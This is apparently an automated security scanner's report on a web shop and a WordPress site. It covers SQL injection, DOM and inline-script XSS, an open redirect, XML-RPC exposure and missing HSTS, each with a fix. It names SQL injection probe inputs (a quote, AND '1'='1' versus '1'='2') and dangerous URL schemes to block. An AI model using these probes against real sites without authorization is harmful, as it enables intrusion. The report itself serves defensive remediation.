Agentic Security Scanner Report

Properly JavaScript-encode the value when embedding in an inline script context: escape the backslash first (\\ -> \\\\) and then the quote, or better, JSON-encode the value (e.g. JSON.stringify server-side) so all control characters are handled. Preferably avoid emitting user input into inline <script>; instead set the input's value server-side via an HTML-encoded attribute or pass data through a data-* attribute / textContent and read it in JS. Add a Content-Security-Policy that forbids inline script as defense-in-depth.

Use parameterised queries / prepared statements for the `category` filter rather than string concatenation. Apply an allow-list of known categories (All, Accessories, Accompaniments, Books, Gin, Juice). Return a generic error page instead of leaking 500s on malformed input, and enforce least-privilege DB credentials.

A single quote produces a 500 (syntax break) and the AND '1'='1' vs AND '1'='2' pair produces a deterministic content differential (products vs no-results), which is the canonical signature of in-band boolean SQL injection in a WHERE clause. The differential is repeatable and tied directly to the boolean logic.

Do not pass untrusted input to document.write. HTML-encode the search value before insertion, or build the img via DOM APIs (document.createElement('img'); img.src = '/resources/images/tracker.gif?searchTerms=' + encodeURIComponent(query)) so the value is confined to the URL/attribute and cannot break out. Additionally apply the same server-side sanitization (already enforced for < >) to quotes is insufficient for the DOM path — the fix must be client-side at the sink. Consider a CSP that disallows inline event handlers as defense-in-depth.

Before assigning the `back` value to location, validate it against an allow-list of relative, same-origin paths: reject any value containing a scheme (e.g. reject if it does not start with a single '/') and explicitly block 'javascript:'/'data:'/'vbscript:' and protocol-relative '//' prefixes. Prefer constructing a same-origin URL and verifying url.origin === location.origin, falling back to '/blog' otherwise. Avoid assigning user-controlled data to location entirely where possible.

Disable XML-RPC if unused (e.g., block /xmlrpc.php at the web server/Cloudflare WAF, or use a plugin/filter to disable it). If XML-RPC is required, disable the system.multicall and pingback methods (xmlrpc_methods / xmlrpc_pingback_error filters) to remove brute-force amplification and SSRF/DDoS reflection vectors, and ensure login-security/2FA covers XML-RPC auth paths.

The endpoint is reachable and actively parses XML-RPC requests. XML-RPC is a well-known vector for credential brute-force amplification (system.multicall) and pingback-based SSRF/DDoS, bypassing some login-form protections. Severity kept LOW because Wordfence login security/2FA is present which mitigates pure credential brute force.

Enable HSTS by emitting `Strict-Transport-Security: max-age=31536000; includeSubDomains` (consider adding `preload` and submitting to the HSTS preload list after validating all subdomains are HTTPS-ready). This can be configured at the Cloudflare edge (SSL/TLS > Edge Certificates > HSTS) and/or the WordPress/origin server. Ensure HTTP-to-HTTPS redirects remain in place.

No HSTS header observed on any response including the login page, which handles credentials and sets session cookies. While the test cookie has Secure+HttpOnly flags, the absence of HSTS leaves first-visit and subdomain traffic vulnerable to SSL stripping. Low severity, transport/session hardening gap.